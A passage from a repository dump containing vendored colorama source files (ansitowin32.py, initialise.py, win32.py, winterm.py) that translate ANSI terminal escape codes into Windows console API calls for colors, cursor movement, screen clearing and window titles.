wrapping our output stream 81 | self.stream = StreamWrapper(wrapped, self) 82 | 83 | on_windows = os.name == 'nt' 84 | # We test if the WinAPI works, because even if we are on Windows 85 | # we may be using a terminal that doesn't support the WinAPI 86 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 87 | # to support the ANSI codes. 88 | conversion_supported = on_windows and winapi_test() 89 | 90 | # should we strip ANSI sequences from our output? 91 | if strip is None: 92 | strip = conversion_supported or (not self.stream.closed and not self.stream.isatty()) 93 | self.strip = strip 94 | 95 | # should we should convert ANSI sequences into win32 calls? 96 | if convert is None: 97 | convert = conversion_supported and not self.stream.closed and self.stream.isatty() 98 | self.convert = convert 99 | 100 | # dict of ansi codes to win32 functions and parameters 101 | self.win32_calls = self.get_win32_calls() 102 | 103 | # are we wrapping stderr? 104 | self.on_stderr = self.wrapped is sys.stderr 105 | 106 | def should_wrap(self): 107 | ''' 108 | True if this class is actually needed. If false, then the output 109 | stream will not be affected, nor will win32 calls be issued, so 110 | wrapping stdout is not actually required. This will generally be 111 | False on non-Windows platforms, unless optional functionality like 112 | autoreset has been requested using kwargs to init() 113 | ''' 114 | return self.convert or self.strip or self.autoreset 115 | 116 | def get_win32_calls(self): 117 | if self.convert and winterm: 118 | return { 119 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 120 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 121 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 122 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 123 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 124 | AnsiFore.RED: (winterm.fore, WinColor.RED), 125 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 126 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 127 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 128 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 129 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 130 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 131 | AnsiFore.RESET: (winterm.fore, ), 132 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 133 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 134 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 135 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 136 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 137 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 138 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 139 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 140 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 141 | AnsiBack.RED: (winterm.back, WinColor.RED), 142 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 143 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 144 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 145 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 146 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 147 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 148 | AnsiBack.RESET: (winterm.back, ), 149 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 150 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 151 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 152 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 153 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 154 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 155 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 156 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 157 | } 158 | return dict() 159 | 160 | def write(self, text): 161 | if self.strip or self.convert: 162 | self.write_and_convert(text) 163 | else: 164 | self.wrapped.write(text) 165 | self.wrapped.flush() 166 | if self.autoreset: 167 | self.reset_all() 168 | 169 | 170 | def reset_all(self): 171 | if self.convert: 172 | self.call_win32('m', (0,)) 173 | elif not self.strip and not self.stream.closed: 174 | self.wrapped.write(Style.RESET_ALL) 175 | 176 | 177 | def write_and_convert(self, text): 178 | ''' 179 | Write the given text to our wrapped stream, stripping any ANSI 180 | sequences from the text, and optionally converting them into win32 181 | calls. 182 | ''' 183 | cursor = 0 184 | text = self.convert_osc(text) 185 | for match in self.ANSI_CSI_RE.finditer(text): 186 | start, end = match.span() 187 | self.write_plain_text(text, cursor, start) 188 | self.convert_ansi(*match.groups()) 189 | cursor = end 190 | self.write_plain_text(text, cursor, len(text)) 191 | 192 | 193 | def write_plain_text(self, text, start, end): 194 | if start < end: 195 | self.wrapped.write(text[start:end]) 196 | self.wrapped.flush() 197 | 198 | 199 | def convert_ansi(self, paramstring, command): 200 | if self.convert: 201 | params = self.extract_params(command, paramstring) 202 | self.call_win32(command, params) 203 | 204 | 205 | def extract_params(self, command, paramstring): 206 | if command in 'Hf': 207 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 208 | while len(params) < 2: 209 | # defaults: 210 | params = params + (1,) 211 | else: 212 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 213 | if len(params) == 0: 214 | # defaults: 215 | if command in 'JKm': 216 | params = (0,) 217 | elif command in 'ABCD': 218 | params = (1,) 219 | 220 | return params 221 | 222 | 223 | def call_win32(self, command, params): 224 | if command == 'm': 225 | for param in params: 226 | if param in self.win32_calls: 227 | func_args = self.win32_calls[param] 228 | func = func_args[0] 229 | args = func_args[1:] 230 | kwargs = dict(on_stderr=self.on_stderr) 231 | func(*args, **kwargs) 232 | elif command in 'J': 233 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 234 | elif command in 'K': 235 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 236 | elif command in 'Hf': # cursor position - absolute 237 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 238 | elif command in 'ABCD': # cursor position - relative 239 | n = params[0] 240 | # A - up, B - down, C - forward, D - back 241 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 242 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 243 | 244 | 245 | def convert_osc(self, text): 246 | for match in self.ANSI_OSC_RE.finditer(text): 247 | start, end = match.span() 248 | text = text[:start] + text[end:] 249 | paramstring, command = match.groups() 250 | if command in '\x07': # \x07 = BEL 251 | params = paramstring.split(";") 252 | # 0 - change title and icon (we will only change title) 253 | # 1 - change icon (we don't support this) 254 | # 2 - change title 255 | if params[0] in '02': 256 | winterm.set_title(params[1]) 257 | return text 258 | -------------------------------------------------------------------------------- /thirdlib/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | -------------------------------------------------------------------------------- /thirdlib/colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCWSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | def _winapi_test(handle): 93 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 94 | success = _GetConsoleScreenBufferInfo( 95 | handle, byref(csbi)) 96 | return bool(success) 97 | 98 | def winapi_test(): 99 | return any(_winapi_test(h) for h in 100 | (_GetStdHandle(STDOUT), _GetStdHandle(STDERR))) 101 | 102 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 103 | handle = _GetStdHandle(stream_id) 104 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 105 | success = _GetConsoleScreenBufferInfo( 106 | handle, byref(csbi)) 107 | return csbi 108 | 109 | def SetConsoleTextAttribute(stream_id, attrs): 110 | handle = _GetStdHandle(stream_id) 111 | return _SetConsoleTextAttribute(handle, attrs) 112 | 113 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 114 | position = COORD(*position) 115 | # If the position is out of range, do nothing. 116 | if position.Y <= 0 or position.X <= 0: 117 | return 118 | # Adjust for Windows' SetConsoleCursorPosition: 119 | # 1. being 0-based, while ANSI is 1-based. 120 | # 2. expecting (x,y), while ANSI uses (y,x). 121 | adjusted_position = COORD(position.Y - 1, position.X - 1) 122 | if adjust: 123 | # Adjust for viewport's scroll position 124 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 125 | adjusted_position.Y += sr.Top 126 | adjusted_position.X += sr.Left 127 | # Resume normal processing 128 | handle = _GetStdHandle(stream_id) 129 | return _SetConsoleCursorPosition(handle, adjusted_position) 130 | 131 | def FillConsoleOutputCharacter(stream_id, char, length, start): 132 | handle = _GetStdHandle(stream_id) 133 | char = c_char(char.encode()) 134 | length = wintypes.DWORD(length) 135 | num_written = wintypes.DWORD(0) 136 | # Note that this is hard-coded for ANSI (vs wide) bytes. 137 | success = _FillConsoleOutputCharacterA( 138 | handle, char, length, start, byref(num_written)) 139 | return num_written.value 140 | 141 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 142 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 143 | handle = _GetStdHandle(stream_id) 144 | attribute = wintypes.WORD(attr) 145 | length = wintypes.DWORD(length) 146 | num_written = wintypes.DWORD(0) 147 | # Note that this is hard-coded for ANSI (vs wide) bytes. 148 | return _FillConsoleOutputAttribute( 149 | handle, attribute, length, start, byref(num_written)) 150 | 151 | def SetConsoleTitle(title): 152 | return _SetConsoleTitleW(title) 153 | -------------------------------------------------------------------------------- /thirdlib/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. 31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other, 32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back 33 | # and BRIGHT is overwritten by Style codes. 34 | self._light = 0 35 | 36 | def get_attrs(self): 37 | return self._fore + self._back * 16 + (self._style | self._light) 38 | 39 | def set_attrs(self, value): 40 | self._fore = value & 7 41 | self._back = (value >> 4) & 7 42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) 43 | 44 | def reset_all(self, on_stderr=None): 45 | self.set_attrs(self._default) 46 | self.set_console(attrs=self._default) 47 | self._light = 0 48 | 49 | def fore(self, fore=None, light=False, on_stderr=False): 50 | if fore is None: 51 | fore = self._default_fore 52 | self._fore = fore 53 | # Emulate LIGHT_EX with BRIGHT Style 54 | if light: 55 | self._light |= WinStyle.BRIGHT 56 | else: 57 | self._light &= ~WinStyle.BRIGHT 58 | self.set_console(on_stderr=on_stderr) 59 | 60 | def back(self, back=None, light=False, on_stderr=False): 61 | if back is None: 62 | back = self._default_back 63 | self._back = back 64 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style 65 | if light: 66 | self._light |= WinStyle.BRIGHT_BACKGROUND 67 | else: 68 | self._light &= ~WinStyle.BRIGHT_BACKGROUND 69 | self.set_console(on_stderr=on_stderr) 70 | 71 | def style(self, style=None, on_stderr=False): 72 | if style is None: 73 | style = self._default_style 74 | self._style = style 75 | self.set_console(on_stderr=on_stderr) 76 | 77 | def set_console(self, attrs=None, on_stderr=False): 78 | if attrs is None: 79 | attrs = self.get_attrs() 80 | handle = win32.STDOUT 81 | if on_stderr: 82 | handle = win32.STDERR 83 | win32.SetConsoleTextAttribute(handle, attrs) 84 | 85 | def get_position(self, handle): 86 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 87 | # Because Windows coordinates are 0-based, 88 | # and win32.SetConsoleCursorPosition expects 1-based. 89 | position.X += 1 90 | position.Y += 1 91 | return position 92 | 93 | def set_cursor_position(self, position=None, on_stderr=False): 94 | if position is None: 95 | # I'm not currently tracking the position, so there is no default. 96 | # position = self.get_position() 97 | return 98 | handle = win32.STDOUT 99 | if on_stderr: 100 | handle = win32.STDERR 101 | win32.SetConsoleCursorPosition(handle, position) 102 | 103 | def cursor_adjust(self, x, y, on_stderr=False): 104 | handle = win32.STDOUT 105 | if on_stderr: 106 | handle = win32.STDERR 107 | position = self.get_position(handle) 108 | adjusted_position = (position.Y + y, position.X + x) 109 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) 110 | 111 | def erase_screen(self, mode=0, on_stderr=False): 112 | # 0 should clear from the cursor to the end of the screen. 113 | # 1 should clear from the cursor to the beginning of the screen. 114 | # 2 should clear the entire screen, and move cursor to (1,1) 115 | handle = win32.STDOUT 116 | if on_stderr: 117 | handle = win32.STDERR 118 | csbi = win32.GetConsoleScreenBufferInfo(handle) 119 | # get the number of character cells in the current buffer 120 | cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y 121 | # get number of character cells before current cursor position 122 | cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X 123 | if mode == 0: 124 | from_coord = csbi.dwCursorPosition 125 | cells_to_erase = cells_in_screen - cells_before_cursor 126 | elif mode == 1: 127 | from_coord = win32.COORD(0, 0) 128 | cells_to_erase = cells_before_cursor 129 | elif mode == 2: 130 | from_coord = win32.COORD(0, 0) 131 | cells_to_erase = cells_in_screen 132 | else: 133 | # invalid mode 134 | return 135 | # fill the entire screen with blanks 136 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 137 | # now set the buffer's attributes accordingly 138 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 139 | if mode == 2: 140 | # put the cursor where needed 141 | win32.SetConsoleCursorPosition(handle, (1, 1)) 142 | 143 | def erase_line(self, mode=0, on_stderr=False): 144 | # 0 should clear from the cursor to the end of the line. 145 | # 1 should clear from the cursor to the beginning of the line. 146 | # 2 should clear the entire line. 147 | handle = win32.STDOUT 148 | if on_stderr: 149 | handle = win32.STDERR 150 | csbi = win32.GetConsoleScreenBufferInfo(handle) 151 | if mode == 0: 152 | from_coord = csbi.dwCursorPosition 153 | cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X 154 | elif mode == 1: 155 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 156 | cells_to_erase = csbi.dwCursorPosition.X 157 | elif mode == 2: 158 | from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) 159 | cells_to_erase = csbi.dwSize.X 160 | else: 161 | # invalid mode 162 | return 163 | # fill the entire screen with blanks 164 | win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) 165 | # now set the buffer's attributes accordingly 166 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) 167 | 168 | def set_title(self, title): 169 | win32.SetConsoleTitle(title) 170 | --------------------------------------------------------------------------------